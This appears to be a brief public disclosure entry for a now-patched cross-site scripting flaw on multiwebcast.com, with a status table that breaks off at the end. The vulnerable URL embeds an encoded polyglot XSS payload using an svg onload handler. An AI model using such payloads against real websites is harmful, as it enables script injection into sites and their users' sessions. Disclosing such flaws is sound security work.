multiwebcast.com XSS vulnerability

Vulnerable URL: https://www.multiwebcast.com/registration%3C!'/!%22/!/'//%22/--!%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E/registrationagreement.php/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7239975 VIP...